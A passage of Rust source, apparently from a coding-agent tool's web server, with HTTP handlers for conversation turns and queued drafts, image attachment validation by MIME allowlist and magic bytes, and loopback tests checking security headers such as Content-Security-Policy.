3371
3372#[derive(Debug, Default, Deserialize)]
3378#[serde(default, deny_unknown_fields)]
3379struct NewTalkTurn {
3380 text: String,
3381 attachments: Vec<String>,
3382}
3383
3384#[derive(Debug, Deserialize)]
3385#[serde(deny_unknown_fields)]
3386struct EditTalkPending {
3387 text: String,
3388 expected_text: String,
3389 expected_attachments: Vec<String>,
3390}
3391
3392#[derive(Debug, Deserialize)]
3393#[serde(deny_unknown_fields)]
3394struct ClearTalkPending {
3395 expected_text: String,
3396 expected_attachments: Vec<String>,
3397}
3398
3399async fn talk_say(
3411 State(ui): State<Arc<Ui>>,
3412 Path(id): Path<String>,
3413 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3414) -> ApiResult<(StatusCode, Json<TalkView>)> {
3415 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3416 if body.text.trim().is_empty() && body.attachments.is_empty() {
3417 return Err(ApiError::bad_request("say something"));
3418 }
3419
3420 let id = {
3421 let ui = Arc::clone(&ui);
3422 let asked = id.clone();
3423 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3424 };
3425 {
3429 let ui = Arc::clone(&ui);
3430 let id = id.clone();
3431 blocking(move || {
3432 let talk = ui.talks.get(&id)?;
3433 if !talk.status.open() {
3434 return Err(ApiError::conflict(format!(
3435 "talk {} is {} and takes no more turns",
3436 talk.short(),
3437 talk.status.as_str()
3438 )));
3439 }
3440 Ok(())
3441 })
3442 .await?;
3443 }
3444
3445 let attachments = {
3450 let ui = Arc::clone(&ui);
3451 let id = id.clone();
3452 let ids = body.attachments.clone();
3453 blocking(move || {
3454 ids.into_iter()
3455 .map(|att_id| {
3456 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3457 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3458 })
3459 })
3460 .collect::<ApiResult<Vec<talk::Attachment>>>()
3461 })
3462 .await?
3463 };
3464
3465 let start = {
3470 let ui = Arc::clone(&ui);
3471 let id = id.clone();
3472 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3473 };
3474 let turn_guard = match start {
3475 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3476 TalkTurnStart::Pending => {
3477 return Err(ApiError::conflict(
3478 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3479 ));
3480 }
3481 TalkTurnStart::Busy => {
3482 let (tx, rx) = tokio::sync::oneshot::channel();
3498 tokio::spawn({
3499 let ui = Arc::clone(&ui);
3500 let id = id.clone();
3501 let said = body.text.clone();
3502 async move {
3503 let written = blocking({
3504 let ui = Arc::clone(&ui);
3505 let id = id.clone();
3506 move || {
3507 let mut talk = ui.talks.get(&id)?;
3508 if let Err(error) =
3509 talk::queue(&mut talk, &ui.talks, &said, attachments)
3510 {
3511 if let Ok(fresh) = ui.talks.get(&id) {
3512 if !fresh.status.open() {
3513 return Err(ApiError::conflict(format!(
3514 "talk {} is {} and takes no more turns",
3515 fresh.short(),
3516 fresh.status.as_str()
3517 )));
3518 }
3519 }
3520 return Err(ApiError::from(error));
3521 }
3522 let claim = match ui.begin_queued_talk_turn(&id)? {
3533 Some(turn_guard) => {
3534 let (cfg, _) = Config::discover(&talk.repo, None)?;
3535 Some((talk.clone(), cfg, turn_guard))
3536 }
3537 None => None,
3538 };
3539 let thinking = ui.is_thinking(&id);
3540 Ok((TalkView::new(talk, thinking), claim))
3541 }
3542 })
3543 .await;
3544 let (view, reclaimed) = match written {
3545 Ok(pair) => pair,
3546 Err(e) => {
3547 let _ = tx.send(Err(e));
3552 return;
3553 }
3554 };
3555 let _ = tx.send(Ok(view));
3558 if let Some((talk, cfg, turn_guard)) = reclaimed {
3559 let talks = ui.talks.clone();
3560 drain_loop(talk, talks, cfg, id, turn_guard).await;
3561 }
3562 }
3563 });
3564 let view = rx
3565 .await
3566 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3567 return Ok((StatusCode::ACCEPTED, Json(view)));
3568 }
3569 };
3570
3571 let (talk, cfg) = {
3572 let ui = Arc::clone(&ui);
3573 let id = id.clone();
3574 blocking(move || {
3575 let talk = ui.talks.get(&id)?;
3576 let (cfg, _) = Config::discover(&talk.repo, None)?;
3577 Ok((talk, cfg))
3578 })
3579 .await?
3580 };
3581
3582 let talks = ui.talks.clone();
3583 let (tx, rx) = tokio::sync::oneshot::channel();
3598 tokio::spawn({
3599 let ui = Arc::clone(&ui);
3600 let talks = talks.clone();
3601 let id = id.clone();
3602 let said = body.text.clone();
3603 let mut talk = talk.clone();
3604 async move {
3605 let recorded = blocking({
3606 let talks = talks.clone();
3607 move || {
3608 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3609 if let Ok(fresh) = talks.get(&talk.id) {
3610 if !fresh.status.open() {
3611 return Err(ApiError::conflict(format!(
3612 "talk {} is {} and takes no more turns",
3613 fresh.short(),
3614 fresh.status.as_str()
3615 )));
3616 }
3617 }
3618 return Err(ApiError::from(error));
3619 }
3620 Ok((said.trim().to_owned(), talk))
3626 }
3627 })
3628 .await;
3629 let (text, mut talk) = match recorded {
3630 Ok(pair) => pair,
3631 Err(e) => {
3632 let _ = tx.send(Err(e));
3636 return;
3637 }
3638 };
3639 let queued = talk.clone();
3640 let thinking = ui.is_thinking(&id);
3641 let _ = tx.send(Ok((queued, thinking)));
3644
3645 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3646 tracing::warn!("talk {id} turn failed: {e:#}");
3650 }
3651 drain_loop(talk, talks, cfg, id, turn_guard).await;
3654 }
3655 });
3656
3657 let (queued, thinking) = rx
3658 .await
3659 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3660
3661 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3663}
3664
3665async fn talk_pending_resume(
3669 State(ui): State<Arc<Ui>>,
3670 Path(id): Path<String>,
3671) -> ApiResult<(StatusCode, Json<TalkView>)> {
3672 let id = {
3673 let ui = Arc::clone(&ui);
3674 let asked = id.clone();
3675 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3676 };
3677 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3678 return Err(ApiError::conflict(
3679 "a talk turn is already running; the queued draft will be handled by it",
3680 ));
3681 };
3682 let (talk, cfg) = {
3683 let ui = Arc::clone(&ui);
3684 let id = id.clone();
3685 blocking(move || {
3686 let talk = ui.talks.get(&id)?;
3687 if !talk.status.open() {
3688 return Err(ApiError::conflict(format!(
3689 "talk {} is {} and takes no more turns",
3690 talk.short(),
3691 talk.status.as_str()
3692 )));
3693 }
3694 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3695 return Err(ApiError::conflict("there is no queued draft to resume"));
3696 }
3697 let (cfg, _) = Config::discover(&talk.repo, None)?;
3698 Ok((talk, cfg))
3699 })
3700 .await?
3701 };
3702 let view = TalkView::new(talk.clone(), true);
3703 let talks = ui.talks.clone();
3704 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3705 Ok((StatusCode::ACCEPTED, Json(view)))
3706}
3707
3708async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3724 let live_set = Arc::clone(&turn.turns);
3725 let mut turn = Some(turn);
3733 loop {
3734 let observed = live_set
3738 .lock()
3739 .unwrap_or_else(PoisonError::into_inner)
3740 .queued
3741 .get(&id)
3742 .copied()
3743 .unwrap_or(0);
3744 let drained = blocking({
3745 let talks = talks.clone();
3746 move || {
3747 let result = talk::drain(&mut talk, &talks);
3748 Ok((talk, result))
3749 }
3750 })
3751 .await;
3752 let (next_talk, result) = match drained {
3753 Ok(drained) => drained,
3754 Err(e) => {
3755 tracing::warn!(
3756 status = %e.status,
3757 message = %e.message,
3758 "talk {id} could not start queued-text drain"
3759 );
3760 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3761 turn.take()
3762 .expect("held for the whole loop until released here")
3763 .release(&mut live);
3764 break;
3765 }
3766 };
3767 talk = next_talk;
3768 let drained = match result {
3769 Ok(Some(drained)) => drained,
3770 Ok(None) => {
3771 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3772 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3773 continue;
3774 }
3775 turn.take()
3776 .expect("held for the whole loop until released here")
3777 .release(&mut live);
3778 break;
3779 }
3780 Err(e) => {
3781 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3782 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3783 turn.take()
3784 .expect("held for the whole loop until released here")
3785 .release(&mut live);
3786 break;
3787 }
3788 };
3789 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3790 tracing::warn!("talk {id} turn failed: {e:#}");
3791 }
3792 }
3793}
3794
3795async fn talk_pending_clear(
3797 State(ui): State<Arc<Ui>>,
3798 Path(id): Path<String>,
3799 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3800) -> ApiResult<Json<TalkView>> {
3801 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3802 blocking(move || {
3803 let id = resolve_talk(&ui.talks, &id)?;
3804 let mut talk = ui.talks.get(&id)?;
3805 if !talk.status.open() {
3806 return Err(ApiError::conflict(format!(
3807 "talk {} is {} and takes no more turns",
3808 talk.short(),
3809 talk.status.as_str()
3810 )));
3811 }
3812 if !talk::clear_pending_if_matches(
3813 &mut talk,
3814 &ui.talks,
3815 &body.expected_text,
3816 &body.expected_attachments,
3817 )? {
3818 return Err(ApiError::conflict(
3819 "queued message changed; reload it before clearing",
3820 ));
3821 }
3822 let thinking = ui.is_thinking(&talk.id);
3823 Ok(Json(TalkView::new(talk, thinking)))
3824 })
3825 .await
3826}
3827
3828async fn talk_pending_edit(
3832 State(ui): State<Arc<Ui>>,
3833 Path(id): Path<String>,
3834 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3835) -> ApiResult<Json<TalkView>> {
3836 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3837 let (view, reclaimed) = blocking({
3838 let ui = Arc::clone(&ui);
3839 move || {
3840 let id = resolve_talk(&ui.talks, &id)?;
3841 let mut talk = ui.talks.get(&id)?;
3842 if !talk.status.open() {
3843 return Err(ApiError::conflict(format!(
3844 "talk {} is {} and takes no more turns",
3845 talk.short(),
3846 talk.status.as_str()
3847 )));
3848 }
3849 if !talk::edit_pending_text(
3850 &mut talk,
3851 &ui.talks,
3852 &body.text,
3853 &body.expected_text,
3854 &body.expected_attachments,
3855 )? {
3856 return Err(ApiError::conflict(
3857 "queued message changed; reload it before editing",
3858 ));
3859 }
3860 let claim = match ui.begin_queued_talk_turn(&id)? {
3861 Some(turn_guard) => {
3862 let (cfg, _) = Config::discover(&talk.repo, None)?;
3863 Some((talk.clone(), cfg, id.clone(), turn_guard))
3864 }
3865 None => None,
3866 };
3867 let thinking = ui.is_thinking(&id);
3868 Ok((TalkView::new(talk, thinking), claim))
3869 }
3870 })
3871 .await?;
3872 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3873 let talks = ui.talks.clone();
3874 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3875 }
3876 Ok(Json(view))
3877}
3878
3879async fn talk_close(
3881 State(ui): State<Arc<Ui>>,
3882 Path(id): Path<String>,
3883) -> ApiResult<Json<TalkView>> {
3884 blocking(move || {
3885 let id = resolve_talk(&ui.talks, &id)?;
3886 let mut talk = ui.talks.get(&id)?;
3887 talk::close(&mut talk, &ui.talks)?;
3888 let thinking = ui.is_thinking(&talk.id);
3889 Ok(Json(TalkView::new(talk, thinking)))
3890 })
3891 .await
3892}
3893
3894async fn talk_reopen(
3896 State(ui): State<Arc<Ui>>,
3897 Path(id): Path<String>,
3898) -> ApiResult<Json<TalkView>> {
3899 blocking(move || {
3900 let id = resolve_talk(&ui.talks, &id)?;
3901 let mut talk = ui.talks.get(&id)?;
3902 talk::reopen(&mut talk, &ui.talks)?;
3903 let thinking = ui.is_thinking(&talk.id);
3904 Ok(Json(TalkView::new(talk, thinking)))
3905 })
3906 .await
3907}
3908
3909async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3919 blocking(move || {
3920 let id = resolve_talk(&ui.talks, &id)?;
3921 ui.talks.remove(&id)?;
3922 Ok(StatusCode::NO_CONTENT)
3923 })
3924 .await
3925}
3926
3927fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3929 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3930}
3931
3932async fn talk_attachment_post(
3935 State(ui): State<Arc<Ui>>,
3936 Path(id): Path<String>,
3937 headers: HeaderMap,
3938 body: Bytes,
3939) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3940 let mime = validate_attachment(&headers, &body)?;
3941 let name = filename_header(&headers);
3942 let data = body.to_vec();
3943 blocking(move || {
3944 let id = resolve_talk(&ui.talks, &id)?;
3945 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3946 Ok((StatusCode::CREATED, Json(att)))
3947 })
3948 .await
3949}
3950
3951async fn talk_attachment_get(
3954 State(ui): State<Arc<Ui>>,
3955 Path((id, att)): Path<(String, String)>,
3956) -> ApiResult<Response> {
3957 blocking(move || {
3958 let id = resolve_talk(&ui.talks, &id)?;
3959 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3960 return Err(ApiError::not_found(format!(
3961 "talk {id} has no attachment `{att}`"
3962 )));
3963 };
3964 Ok(attachment_response(&meta.mime, data))
3965 })
3966 .await
3967}
3968
3969fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3980 if data.len() > ATTACHMENT_MAX_BYTES {
3981 return Err(ApiError::bad_request(format!(
3982 "attachment is {} bytes, over the {} MiB limit",
3983 data.len(),
3984 ATTACHMENT_MAX_BYTES / (1024 * 1024)
3985 ))
3986 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3987 }
3988 if data.is_empty() {
3989 return Err(ApiError::bad_request("attachment is empty"));
3990 }
3991 let declared = declared_mime(headers)?;
3992 match sniffed_mime(data) {
3993 Some(sniffed) if sniffed == declared => Ok(declared),
3994 Some(sniffed) => Err(ApiError::bad_request(format!(
3995 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
3996 ))),
3997 None => Err(ApiError::bad_request(
3998 "the file's bytes do not match any accepted image format",
3999 )),
4000 }
4001}
4002
4003fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4007 let raw = headers
4008 .get(header::CONTENT_TYPE)
4009 .and_then(|v| v.to_str().ok())
4010 .unwrap_or("")
4011 .split(';')
4012 .next()
4013 .unwrap_or("")
4014 .trim()
4015 .to_ascii_lowercase();
4016 ATTACHMENT_MIME_WHITELIST
4017 .iter()
4018 .find(|&&m| m == raw)
4019 .copied()
4020 .ok_or_else(|| {
4021 if raw == "image/svg+xml" {
4022 ApiError::bad_request(
4023 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4024 not just a picture",
4025 )
4026 } else if raw.is_empty() {
4027 ApiError::bad_request("Content-Type is required for an attachment upload")
4028 } else {
4029 ApiError::bad_request(format!(
4030 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4031 image/gif or image/webp"
4032 ))
4033 }
4034 })
4035}
4036
4037fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4040 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4041 Some("image/png")
4042 } else if data.starts_with(b"\xff\xd8\xff") {
4043 Some("image/jpeg")
4044 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4045 Some("image/gif")
4046 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4047 Some("image/webp")
4048 } else {
4049 None
4050 }
4051}
4052
4053fn filename_header(headers: &HeaderMap) -> String {
4059 headers
4060 .get(FILENAME_HEADER)
4061 .and_then(|v| v.to_str().ok())
4062 .map(str::trim)
4063 .filter(|s| !s.is_empty())
4064 .unwrap_or("attachment")
4065 .to_owned()
4066}
4067
4068fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4075 let content_type = ATTACHMENT_MIME_WHITELIST
4076 .iter()
4077 .find(|&&m| m == mime)
4078 .copied()
4079 .unwrap_or("application/octet-stream");
4080 (
4081 [
4082 (header::CONTENT_TYPE, content_type),
4083 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4084 ],
4085 body,
4086 )
4087 .into_response()
4088}
4089
4090async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4098 let repo = repo.to_path_buf();
4099 blocking(move || {
4100 let (cfg, _) = Config::discover(&repo, None)?;
4101 Ok(cfg)
4102 })
4103 .await
4104}
4105
4106fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4112 let mut hits = ids
4113 .into_iter()
4114 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4115 match (hits.next(), hits.next()) {
4116 (Some(one), None) => Ok(one),
4117 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4118 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4119 "`{prefix}` matches more than one {what}, including {a} and {b}"
4120 ))),
4121 }
4122}
4123
4124#[cfg(test)]
4125mod tests {
4126 use pretty_assertions::assert_eq;
4127 use serde_json::Value;
4128 use tempfile::TempDir;
4129 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4130
4131 use super::*;
4132 use crate::config::Config;
4133 use crate::queue::{Source, TaskStatus};
4134
4135 const SETTLE_STEPS: usize = 3_000;
4146
4147 struct Fixture {
4153 home: TempDir,
4154 addr: SocketAddr,
4155 }
4156
4157 impl Fixture {
4158 async fn start() -> Self {
4159 Self::with_loop(launch_idle).await
4160 }
4161
4162 async fn with_loop(launch: Launch) -> Self {
4164 let home = TempDir::new().expect("temp home");
4165 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4166 Self { home, addr }
4167 }
4168
4169 async fn with_repo(repo: PathBuf) -> Self {
4173 let home = TempDir::new().expect("temp home");
4174 let addr = Self::serve(home.path(), repo, launch_idle).await;
4175 Self { home, addr }
4176 }
4177
4178 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4179 let queue = Queue::at(home.join("queue"));
4180 let runs = home.join("runs");
4181 std::fs::create_dir_all(&runs).expect("runs dir");
4182 let worktrees = home.join("wt").join("magi");
4183 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4184 let ui = Ui::new(
4185 queue,
4186 Questions::at(home.join("questions")),
4187 Talks::at(home.join("talks")),
4188 runs,
4189 home.to_path_buf(),
4190 repo,
4191 )
4192 .with_worktrees_root(worktrees)
4193 .with_launch(launch);
4194 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4195 .await
4196 .expect("bind loopback");
4197 let addr = listener.local_addr().expect("local addr");
4198 tokio::spawn(async move {
4199 let _ = axum::serve(listener, ui.router()).await;
4200 });
4201 addr
4202 }
4203
4204 fn queue(&self) -> Queue {
4205 Queue::at(self.home.path().join("queue"))
4206 }
4207
4208 fn questions(&self) -> Questions {
4209 Questions::at(self.home.path().join("questions"))
4210 }
4211
4212 fn talks(&self) -> Talks {
4213 Talks::at(self.home.path().join("talks"))
4214 }
4215
4216 fn runs(&self) -> PathBuf {
4217 self.home.path().join("runs")
4218 }
4219
4220 async fn get(&self, path: &str) -> Res {
4221 request(self.addr, "GET", path, None).await
4222 }
4223
4224 async fn head(&self, path: &str) -> Res {
4229 request(self.addr, "HEAD", path, None).await
4230 }
4231
4232 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4233 request(self.addr, "POST", path, body).await
4234 }
4235
4236 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4237 request_with(self.addr, "GET", path, None, extra).await
4238 }
4239
4240 async fn delete(&self, path: &str) -> Res {
4241 request(self.addr, "DELETE", path, None).await
4242 }
4243
4244 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4246 request_bytes(self.addr, path, headers, body).await
4247 }
4248 }
4249
4250 struct Res {
4251 status: u16,
4252 headers: String,
4253 head: String,
4258 body: String,
4259 bytes: Vec<u8>,
4263 }
4264
4265 impl Res {
4266 fn json(&self) -> Value {
4267 serde_json::from_str(&self.body)
4268 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4269 }
4270
4271 fn header(&self, name: &str) -> Option<&str> {
4273 self.head.lines().find_map(|line| {
4274 let (key, value) = line.split_once(':')?;
4275 key.trim()
4276 .eq_ignore_ascii_case(name)
4277 .then(|| value.trim_start().trim_end_matches('\r'))
4278 })
4279 }
4280 }
4281
4282 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4285 request_with(addr, method, path, body, &[]).await
4286 }
4287
4288 async fn request_with(
4292 addr: SocketAddr,
4293 method: &str,
4294 path: &str,
4295 body: Option<&str>,
4296 extra: &[(&str, &str)],
4297 ) -> Res {
4298 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4299 for (name, value) in extra {
4300 head.push_str(&format!("{name}: {value}\r\n"));
4301 }
4302 if let Some(body) = body {
4303 head.push_str("Content-Type: application/json\r\n");
4304 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4305 }
4306 head.push_str("\r\n");
4307 if let Some(body) = body {
4308 head.push_str(body);
4309 }
4310 let mut socket = tokio::net::TcpStream::connect(addr)
4311 .await
4312 .expect("connect to the test server");
4313 socket
4314 .write_all(head.as_bytes())
4315 .await
4316 .expect("write request");
4317 let mut raw = Vec::new();
4318 socket.read_to_end(&mut raw).await.expect("read response");
4319 let split = raw
4322 .windows(4)
4323 .position(|w| w == b"\r\n\r\n")
4324 .expect("a header block");
4325 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4326 let bytes = raw[split + 4..].to_vec();
4327 let status = head
4328 .lines()
4329 .next()
4330 .and_then(|line| line.split_whitespace().nth(1))
4331 .and_then(|code| code.parse().ok())
4332 .expect("a status line");
4333 Res {
4334 status,
4335 headers: head.to_lowercase(),
4336 head,
4337 body: String::from_utf8_lossy(&bytes).into_owned(),
4338 bytes,
4339 }
4340 }
4341
4342 async fn request_bytes(
4348 addr: SocketAddr,
4349 path: &str,
4350 headers: &[(&str, &str)],
4351 body: &[u8],
4352 ) -> Res {
4353 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4354 for (name, value) in headers {
4355 head.push_str(&format!("{name}: {value}\r\n"));
4356 }
4357 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4358 let mut socket = tokio::net::TcpStream::connect(addr)
4359 .await
4360 .expect("connect to the test server");
4361 socket
4362 .write_all(head.as_bytes())
4363 .await
4364 .expect("write request head");
4365 socket.write_all(body).await.expect("write request body");
4366 let mut raw = Vec::new();
4367 socket.read_to_end(&mut raw).await.expect("read response");
4368 let split = raw
4369 .windows(4)
4370 .position(|w| w == b"\r\n\r\n")
4371 .expect("a header block");
4372 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4373 let bytes = raw[split + 4..].to_vec();
4374 let status = head
4375 .lines()
4376 .next()
4377 .and_then(|line| line.split_whitespace().nth(1))
4378 .and_then(|code| code.parse().ok())
4379 .expect("a status line");
4380 Res {
4381 status,
4382 headers: head.to_lowercase(),
4383 head,
4384 body: String::from_utf8_lossy(&bytes).into_owned(),
4385 bytes,
4386 }
4387 }
4388
4389 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4391 let mut state = RunState::new(
4392 PathBuf::from("/repo/magi"),
4393 "main".to_owned(),
4394 "0123456789abcdef".to_owned(),
4395 "Add a web UI\n\nMobile first.".to_owned(),
4396 Config::default(),
4397 );
4398 state.id = id.to_owned();
4399 state.status = status;
4400 let dir = runs.join(id);
4401 std::fs::create_dir_all(&dir).expect("run dir");
4402 std::fs::write(
4403 dir.join("run.json"),
4404 serde_json::to_string_pretty(&state).expect("serialize run"),
4405 )
4406 .expect("write run.json");
4407 }
4408
4409 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4410 let body = serde_json::json!({
4411 "schema": 1,
4412 "pid": 4242,
4413 "started_at": Timestamp::now().to_string(),
4414 "updated_at": updated_at.to_string(),
4415 "idle": false,
4416 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4417 "completed": 7,
4418 "polls": 143,
4419 });
4420 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4421 }
4422
4423 fn launch_idle(
4433 _opts: daemon::Opts,
4434 stop: daemon::Stop,
4435 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4436 Box::pin(async move {
4437 while !stop.stopped() {
4438 tokio::time::sleep(Duration::from_millis(2)).await;
4439 }
4440 Ok(())
4441 })
4442 }
4443
4444 fn launch_broken(
4447 _opts: daemon::Opts,
4448 _stop: daemon::Stop,
4449 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4450 Box::pin(async {
4451 Err(anyhow::anyhow!(
4452 "publish the daemon status file: read-only file system"
4453 ))
4454 })
4455 }
4456
4457 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4464 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4465
4466 fn launch_knocking_on_the_way_out(
4473 _opts: daemon::Opts,
4474 stop: daemon::Stop,
4475 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4476 Box::pin(async move {
4477 while !stop.stopped() {
4478 tokio::time::sleep(Duration::from_millis(2)).await;
4479 }
4480 let addr = PARK_KNOCK
4481 .lock()
4482 .expect("park knock")
4483 .expect("the test set an address");
4484 let heard = request(addr, "GET", "/api/health", None).await.status;
4485 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4486 Ok(())
4487 })
4488 }
4489
4490 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4499 for _ in 0..SETTLE_STEPS {
4500 let view = fx.get("/api/loop").await.json();
4501 if want(&view) {
4502 return view;
4503 }
4504 tokio::time::sleep(Duration::from_millis(10)).await;
4505 }
4506 panic!(
4507 "the loop never settled: {}",
4508 fx.get("/api/loop").await.json()
4509 );
4510 }
4511
4512 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4514 let store = fx.questions();
4515 let mut q = Question::new(
4516 "20260902-000000-beef".to_owned(),
4517 "implement".to_owned(),
4518 "impl-A".to_owned(),
4519 summary.to_owned(),
4520 "because it matters".to_owned(),
4521 choices.iter().map(|c| (*c).to_owned()).collect(),
4522 );
4523 store.put(&mut q).expect("put question");
4524 q.id
4525 }
4526
4527 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4533 let store = fx.questions();
4534 let mut q = Question::new(
4535 "20260902-000000-beef".to_owned(),
4536 "land".to_owned(),
4537 "fix".to_owned(),
4538 "Merge this?".to_owned(),
4539 "the diff is in the panel".to_owned(),
4540 vec!["merge".to_owned(), "hold".to_owned()],
4541 );
4542 let staging = fx.home.path().join("staging");
4545 std::fs::create_dir_all(&staging).expect("staging dir");
4546 let sources: Vec<PathBuf> = assets
4547 .iter()
4548 .map(|(name, bytes)| {
4549 let path = staging.join(name);
4550 std::fs::write(&path, bytes).expect("write staged asset");
4551 path
4552 })
4553 .collect();
4554 store
4555 .put_panel(&mut q, html, &sources)
4556 .expect("write the panel");
4557 store.put(&mut q).expect("put question");
4558 q.id
4559 }
4560
4561 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4570 let store = fx.talks();
4571 std::fs::create_dir_all(store.root()).expect("talks dir");
4572 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4573 .expect("serialize a seat");
4574 let body = serde_json::json!({
4575 "schema": 1,
4576 "id": id,
4577 "repo": "/repo/magi",
4578 "agent": "mock",
4579 "status": status,
4580 "turns": [],
4581 "created_at": Timestamp::now().to_string(),
4582 "updated_at": Timestamp::now().to_string(),
4583 "seat": seat,
4584 });
4585 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4586 store.get(id).expect("the seeded talk has to be readable");
4587 id.to_owned()
4588 }
4589
4590 #[tokio::test]
4591 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4592 let fx = Fixture::start().await;
4593 let id = panel(
4594 &fx,
4595 "<h1>Merge?</h1><img src=\"diff.svg\">",
4596 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4597 );
4598
4599 for path in [
4600 format!("/api/questions/{id}/panel"),
4601 format!("/api/questions/{id}/asset/diff.svg"),
4602 ] {
4603 let res = fx.get(&path).await;
4604 assert_eq!(res.status, 200, "{path}: {}", res.body);
4605 assert_eq!(
4611 res.header("content-security-policy"),
4612 Some(
4613 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4614 font-src data:; base-uri 'none'; form-action 'none'; \
4615 frame-ancestors 'self'"
4616 ),
4617 "{path} is the only thing between a hostile panel and the tailnet"
4618 );
4619 assert_eq!(
4620 res.header("x-content-type-options"),
4621 Some("nosniff"),
4622 "{path}: a browser must not re-decide the type we sent"
4623 );
4624 assert_eq!(
4625 res.header("referrer-policy"),
4626 Some("no-referrer"),
4627 "{path}: a panel must not leak the question id off the machine"
4628 );
4629
4630 let pre = fx.head(&path).await;
4635 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4636 assert_eq!(
4637 pre.header("content-security-policy"),
4638 res.header("content-security-policy"),
4639 "{path}: the preflight carries the same policy"
4640 );
4641 assert_eq!(
4642 pre.header("content-type"),
4643 res.header("content-type"),
